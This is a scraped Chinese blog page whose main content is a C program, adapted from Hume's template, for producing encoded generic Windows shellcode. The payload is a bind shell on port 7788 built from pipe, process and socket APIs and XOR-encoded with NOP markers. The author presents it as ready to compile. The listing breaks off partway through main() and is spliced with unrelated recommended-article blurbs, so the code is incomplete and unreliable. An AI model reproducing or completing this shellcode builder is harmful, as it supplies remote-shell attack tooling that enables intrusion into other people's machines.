改HUME的SHELLCODE模版程序

1分钟了解SECS/GEM 概念模型 提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 文章目录前言平台独立性连接应用程序SECS-II 协议SECS-II 消息类型SECS/GEM 概念模型变量事件报告报警上报控制状态模型处理程序总结 前言 SECS/GEM 标识了半导体、电子和光伏行业常用的通信接口类型,已由非营利行业协会 SEMI 标准化。您可以通过其网站 http://www.SEMI.org 获得 SEMI 标准的副本。由于有许多与设备自动化和软件相关的标准,我们的建议是获取所有标准的 CDROM 订阅,而不是单独 阅读详情

从小四哥的网站上搞下<关于Windows下ShellCode编写的一点思考>中的代码,可能是由于系统版本不同或者是编译器版本不同吧,硬是有N个错误.搞了一下午才搞定.算起来,网上相似的好像有三个版本,一个是这个,一个是红盟的lion写的,还有一个是safechina的yellow写的通用shellcode深入剖析.相比较而言,lion写的字节最少,也最实用.好像也是参考网上这些资料写的吧.牛B就是牛B,
下面的是我改写好可以直接编译的版本,呵呵,hume大侠不要BIAN我啊...
编译平台: Vs.net8 + Windows2003 server


/*

使用C语言编写通用shellcode的程序

出处:internet

修改:Hume/冷雨飘心

测试:Win2K SP4 Local

 

*/

#include <windows.h>

#include <stdio.h>

#include <winioctl.h>

 

#define  DEBUG 0

 

//

//函数原型

//

void     DecryptSc();

void     ShellCodes();

void     PrintSc(char *lpBuff, int buffsize);

 

//

//用到的部分定义

//

#define  BEGINSTRLEN    0x08    //开始字符串长度

#define  ENDSTRLEN      0x08    //结束标记字符的长度

#define  nop_CODE       0x90    //填充字符

#define  nop_LEN        0x0     //ShellCode起始的填充长度

#define  BUFFSIZE       0x20000 //输出缓冲区大小

 

#define  sc_PORT        7788    //绑定端口号 0x1e6c

#define  sc_BUFFSIZE    0x2000  //ShellCode缓冲区大小

 

#define  Enc_key        0x7A    //编码密钥

 

#define  MAX_Enc_Len    0x400   //加密代码的最大长度 1024足够?

#define  MAX_Sc_Len     0x2000  //hellCode的最大长度 8192足够?

#define  MAX_api_strlen 0x400   //APIstr字符串的长度

#define  API_endstr     "strend"//API结尾标记字符串

#define  API_endstrlen  0x06    //标记字符串长度

 

#define PROC_BEGIN __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90/

                   __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90

#define PROC_END PROC_BEGIN

//---------------------------------------------------

enum{       //Kernel32

            _CreatePipe,

            _CreateProcessA,

            _CloseHandle,

            _PeekNamedPipe,

            _ReadFile,

            _WriteFile,

            _ExitProcess,

 

            //WS2_32

            _socket,

            _bind,

            _listen,

            _accept,

            _send,

            _recv,

            _ioctlsocket,

            _closesocket,

 

            //本机测试User32

            _MessageBeep,

            _MessageBoxA,

            API_num

};

 

//

//代码这里开始

//

int main(int argc, char **argv)

{

  //shellcode中要用到的字符串

  static char ApiStr[]="/x1e/x6c"   //端口地址

 

            //Kernel32的API函数名称

            "CreatePipe""/x0"

            "CreateProcessA""/x0"

            "CloseHandle""/x0"

            "PeekNamedPipe""/x0"

            "ReadFile""/x0"

            "WriteFile""/x0"

            "ExitProcess""/x0"

 

            //其它API中用到的API

            "wsock32.dll""/x0"

            "socket""/x0"

            "bind""/x0"

            "listen""/x0"

            "accept""/x0"

            "send""/x0"

            "recv""/x0"

            "ioctlsocket""/x0"

            "closesocket""/x0"

            //本机测试

            "user32.dll""/x0"

            "MessageBeep""/x0"

            "MessageBoxA""/x0"

 

            "/x0/x0/x0/x0/x0"

            "strend";

 

  char  *fnbgn_str="/x90/x90/x90/x90/x90/x90/x90/x90/x90";  //标记开始的字符串

  char  *fnend_str="/x90/x90/x90/x90/x90/x90/x90/x90/x90";  //标记结束的字符串

 

  char  buff[BUFFSIZE];         //缓冲区

  char  sc_buff[sc_BUFFSIZE];   //ShellCodes缓冲

  char  *pDcrypt_addr,

        *pSc_addr;

 

  int   buff_len;               //缓冲长度

  int   EncCode_len;            //加密编码代码长度

  int   Sc_len;                 //原始ShellCode的长度

 

  int       i,k;

  unsigned  char ch;

 

  //

  //获得DecryptSc()地址,解码函数的地址,然后搜索MAX_Enc_Len字节,查找标记开始的字符串

  //获得真正的解码汇编代码的开始地址,MAX_Enc_Len定义为1024字节一般这已经足够了,然后将这

  //部分代码拷贝入待输出ShellCode的缓冲区准备进一步处理

  //

  pDcrypt_addr=(char *)DecryptSc;

 

  //定位其实际地址,因为在用Visual Studio生成调试版本调试的情况下,编译器会生成跳转表,

  //从跳转表中要计算得出函数实际所在的地址,这只是为了方便用VC调试

 

  ch=*pDcrypt_addr;

  if (ch==0xe9)

  {

      pDcrypt_addr++;

      i=*(int *)pDcrypt_addr;

      pDcrypt_addr+=(i+4);      //此时指向函数的实际地址

电机控制-PMSM无感FOC控制(五)SVPWM过调制策略优化与谐波抑制 本文深入探讨了PMSM无感FOC控制中的SVPWM过调制策略优化与谐波抑制。针对电机高速运行时电压利用率不足的问题,分析了过调制技术的必要性,并详细阐述了分区过调制、谐波注入及闭环优化等主流策略,旨在提升电压利用率与抑制电流谐波,实现电机高性能控制。 阅读详情

相关推荐

分析国外几款主流蜜罐产品看欺骗诱捕技术的应用脉络

网络安全的本质是攻防对抗,更本质的其实是人与人心智与技术的全面较量。 欺骗诱捕技术作为攻防对抗技术中比较特殊的技术,能够使防守方更多掌握对抗中的主动权,诱导攻击,迫使攻击者耗费精力的同时,留下丰富的攻击信息。究其本质,欺骗诱捕技术更深层次考验的不止是技术的能力,还有对于攻击者作为人的理解。 国外主流蜜罐产品分析 根据MarketsandMarkets《欺骗技术市场规模、份额和2021年全球市场预测》中提到的欺骗诱捕技术全球主要供应商及产品,我们分析了几款国外主流的蜜罐产品,希望更清晰看到欺骗诱捕技术应

cdyunaq的博客 1306

c语言添加shellcode到,【转】 使用C语言编写提取通用shellcode的程序

该楼层疑似违规已被系统折叠隐藏此楼查看此楼出处:internet修改:Hume/冷雨飘心测试:Win2KSP4Local/Win2003SP0Local注释:我非我[F.S.T]说明:此程序可以用标准c语言string格式打印出你所在ShellCodes函数中编写的shellcode用vc编译时请使用Release格式并取消优化设置,否则不能正常运行*/#include#inclu...

weixin_39876450的博客 345

深入解析AndroidManifest.xml与device_admin.xml:打造完美DeviceOwner应用配置

本文深入解析了Android企业级开发中DeviceOwner应用的核心配置文件AndroidManifest.xml与device_admin.xml。详细阐述了如何精准声明DeviceAdminReceiver、定义管理策略,并提供了通过ADB命令进行设置与验证的实战指南,帮助开发者构建权限完整、配置正确的设备所有者应用。

ice55的博客 679

使用C语言编写通用shellcode的程序

/*   使用C语言编写通用shellcode的程序   出处:internet   修改:Hume/冷雨飘心   测试:Win2K SP4 Local   */    #include    #include    #include    #define  DEBUG 1    //    //函数原型    //    void    

TYJJXSJ的专栏 2426

ITK-snap进行分割区域标注、三维显示及改变显示颜色

在进行医学图像器官分割时,无论我们是用传统方法还是深度学习,最后肯定要用到手动分割的区域作为金标准来验证我们方法的精度。但是手动标注器官的轮廓是十分耗时的,这里我介绍一个比较简单的标注方法,以肺分割作为例子。 我们使用ITK-snap作为分割标注工具。 当切片间距离比较小时,比如1mm,一个患者的完整HRCT序列通常在200张以上,如果让医生一一进行分割区域标注是非常耗时乏味的。因此,我们可以使用最简单的阈值法比如OSTU,加上基本的形态学操作对肺进行粗分割得到粗略的分割掩码,在此基础上再手动的对分割结果进

u010409517的博客 2万+

仿真学习系列(四十一):Sigrity仿真之PDN阻抗提取

电源分配网络(Power Distribution Network,简称PDN)是电子系统中至关重要的部分,主要用于将电源从电源输入端传输到各个组件。PDN的设计质量直接影响到系统的电源完整性和信号稳定性,尤其是在高速设计中,PDN的阻抗特性对电源噪声、地弹(ground bounce)和电源完整性(Power Integrity,简称PI)具有重要影响。

案例文章,高速信号 1133

查看完整版本: 使用C语言编写提取通用shellcode的程序

导读:   使用C语言编写提取通用shellcode的程序文章修改:Hume/冷雨飘心   文章注释:我非我[F.S.T]   信息来源:黑客基地   [code]/*   说明:此程序可以用标准c语言string格式打印出你所在ShellCodes函数中编写的shellcode   用vc编译时请使用Release格式并取消优化设置,否则不能正常运行   */   #include  

yingfox的专栏 1060

【RT-DETR实战】112、NCNN模型转换与层实现支持:从模型文件到推理引擎的硬核实战

本文详细记录了将RT-DETR模型部署到NCNN框架的全过程及关键要点。作者首先遇到MultiHeadAttention等算子不支持的问题,通过ONNX中间转换和自定义层实现解决。文章具体介绍了PyTorch到NCNN的权重转换技巧、模型优化方法(包括量化和线程优化)以及调试经验,强调逐层对比输出、预处理检查和边界情况测试的重要性。最后分享了保持转换流程可复现性的实用建议,指出手动调试虽然耗时但能加深对模型的理解,体现了工程师在解决技术难题时的专业精神与成就感。

企鹅码农的专属播客,分享10多年的实战案例和经验解读,包含YOLO、RT-DETR、AI等各个工作领域。 41

网上看到的编写shellcode的程序

网上看到的编写shellcode的程序 1 /* 2 使用C语言编写通用shellcode的程序 3 出处:internet 4 修改:Hume/冷雨飘心 5 测试:Win2K SP4 Local 6 7 */ 8 #include <windows.h> ...

200

【FPGA教程案例55】深度学习案例2——基于FPGA的CNN卷积神经网络之ReLu激活层verilog实现

在本课程中,我们将对CNN的ReLu函数模块的FPGA实现做详细的介绍和学习。从仿真结果可知,通过Rule激活函数之后,小于的输入数据输出为0,否则输出是输入本身。,我们对CNN的基本原理有了初步认识。ReLu函数具备如下优缺点。按照课程1相似的操作方式。

FPGA/MATLAB学习教程/源码/项目合作开发 2692

AUTOSAR进阶图解==>AUTOSAR_EXP_VFB

AUTOSAR虚拟功能总线(VFB)摘要 AUTOSAR虚拟功能总线(VFB)是汽车开放系统架构中的核心抽象概念,为分布式电子系统提供统一通信模型。VFB允许软件组件在不了解底层物理通信机制的情况下交互,通过运行时环境(RTE)实现组件间的数据交换。系统配置过程将抽象的VFB视图转换为具体实现,包括组件到ECU的映射和通信机制选择。VFB采用"last-is-best"语义进行数据通信,并支持模式管理机制,使组件能根据系统状态调整行为。此外,VFB还支持与非AUTOSAR系统的交互,通常

一名留德华的,康德的信徒的,专注于汽车电子领域的博客 1117

关于Windows下ShellCode编写的一点思考

关于Windows下ShellCode编写的一点思考创建时间:2003-11-30文章属性:转载文章提交:l0pht (anonymous_at_21cn.com)关于Windows下ShellCode编写的一点思考                                        By Hume/冷雨  关于ShellCode编写的文章可谓多如牛毛。经典的有yuang

大浪淘沙的专栏 767

复分析 阿尔福斯(Ahlfors) 第三版答案 英文

答案分为十章,有部分习题没有答案,全英文复分析阿尔福斯(Ahlfors) 第三版答案

(转载)关于Windows下ShellCode编写的一点思考

关于Windows下ShellCode编写的一点思考转自:http://www.xfocus.net创建时间:2003-11-30文章属性:转载文章提交:l0pht (anonymous_at_21cn.com)关于Windows下ShellCode编写的一点思考                                        By Hume/冷雨  关于ShellCode编写的文章

Kendiv's Box 2022

jdk-8u144-linux-x64.tar.gz.

该资源为搭建Linux系统Java环境用,资源的后缀为tar.gz格式的压缩包

android 蓝牙通讯demo

android 下蓝牙通讯demo,实现了发现蓝牙,使能蓝牙,通过蓝牙发送消息。

学习ShellCode(一)

前几天看了看x的shellcode,有很多东西部是很懂,今天找了找在安全焦点http://www.xfocus.net/找到一个高人写的,看了看思路,写得很不错,所以贴出来大家看看,以方便以后学习用阿!?这个是通用的shellcode,自己在vc++下编译一下!/*??????????? 使用C语言编写通用shellcode的程序出处:internet修改:Hume/冷雨飘心测试:Wi

孤剑之家 1998

假人有限元模型

假人模型,车辆碰撞假人有限元模型,适合做乘员安全的研究者利用

如何手动编写shellcode

看来我是要从汇编入手做些事情了。汇编如今的用途不过是逆向工程,加解密,有害代码分析,漏洞挖掘以及一些有害代码生成,如病毒,缓冲区溢出攻击。首先申明这些我都不会,有些只知道皮毛。我连菜鸟都算不上,最多是条菜虫。 这几天看了看缓冲区溢出,写下来一点心得,一是希望有高人指导,二是总结一下。 今天说说shellcode的生成,当然是win32平台下的,linux本人没有什么研究(菜吧)。 she...

weixin_34199335的博客 269

【分析】关于Windows下ShellCode编写的一点思考

关于Windows下ShellCode编写的一点思考创建时间:2003-11-30文章属性:转载文章提交:l0pht (anonymous_at_21cn.com)关于Windows下ShellCode编写的一点思考                                        By Hume/冷雨  关于ShellCode编写的文章可谓多如牛毛。经典的有yuange、waterc

FreeXploiT 1421

shellcode xor编码/解码[1]

shellcode的初级变形的一点点总结,大部分搜集、翻译,少量原创 0x01 病毒上重定位问题0x02 shellcode解码0x03 一个unix例子0x04 源码解读0x05 参考 shellcode xor编码/解码器是一种较为初级的shellcode变形的方法,当然它从中采用的方法跟病毒上的方法有些类似 0x01 病毒上重定位问题病毒上的解决重定位的方法,可以方便的用到she...

weixin_34209851的博客 508

推荐点书,说点学习路线...

[乱弹学习]    by Tbit ;=========================================================================== 0.扯淡的一些话 ;=========================================================================== 写出这个图书目录的作者

linshixina的专栏 797

【数据结构-5】单链表的实现

单链表,具体来说是单向的、不带头的、不循环的链表。链表由一个一个节点组成,每个节点分为数据域和指针域,数据域存放数据,指针域存放下一节点的地址。这样,就可以根据指针域中的地址找到下一个节点,节点就串起来了构成了单链表。

weixin_44218929的博客 162
上一篇: window系统下的远程堆栈溢出----shellcode编写
下一篇: New book - Rootkits: Subverting the Windows Kernel
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值